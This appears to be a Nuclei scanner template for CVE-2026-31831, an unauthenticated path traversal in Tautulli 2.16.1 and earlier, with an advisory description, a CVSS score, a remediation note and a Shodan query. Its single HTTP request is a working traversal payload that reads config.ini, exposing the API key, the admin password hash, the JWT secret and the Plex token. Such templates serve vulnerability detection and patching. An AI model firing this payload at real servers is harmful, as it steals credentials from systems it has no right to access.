Tautulli <= 2.16.1 - Path Traversal

id: CVE-2026-31831

info:
  name: Tautulli <= 2.16.1 - Path Traversal
  author: WRG-11
  severity: high
  description: |
    Tautulli is a monitoring and tracking tool for Plex Media Server. Prior to version 2.17.0, the `/newsletter/image/images` endpoint joins user-controlled path segments onto the newsletter image directory without containment validation. Authentication is not required for this endpoint, allowing unauthenticated attackers to perform directory traversal and read arbitrary files accessible to the server process. Reading `config/config.ini` discloses the API key, the hashed admin password, the JWT token secret, and the Plex Media Server token. Version 2.17.0 fixes this issue.
  impact: |
    Unauthenticated attackers can read arbitrary files accessible to the server, including `config.ini` (API key, hashed admin password, JWT secret, Plex token) and `tautulli.db` (active JWT tokens).
  remediation: |
    Update to version 2.17.0 or later.
  reference:
    - https://github.com/Tautulli/Tautulli/security/advisories/GHSA-xp55-2pf4-fv8m
    - https://nvd.nist.gov/vuln/detail/CVE-2026-31831
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2026-31831
    epss-score: 0.01965
    epss-percentile: 0.78818
    cwe-id: CWE-22
  metadata:
    verified: true
    max-request: 1
    vendor: tautulli
    product: tautulli
    shodan-query: http.title:"Tautulli"
  tags: cve,cve2026,tautulli,lfi,traversal

http:
  - raw:
      - |
        GET /newsletter/image/images/..%2F..%2F..%2F..%2F..%2F..%2Fconfig%2Fconfig.ini HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "[General]"
          - "[PMS]"
          - "pms_identifier"
        condition: and

      - type: word
        part: content_type
        words:
          - "image/png"

      - type: status
        status:
          - 200
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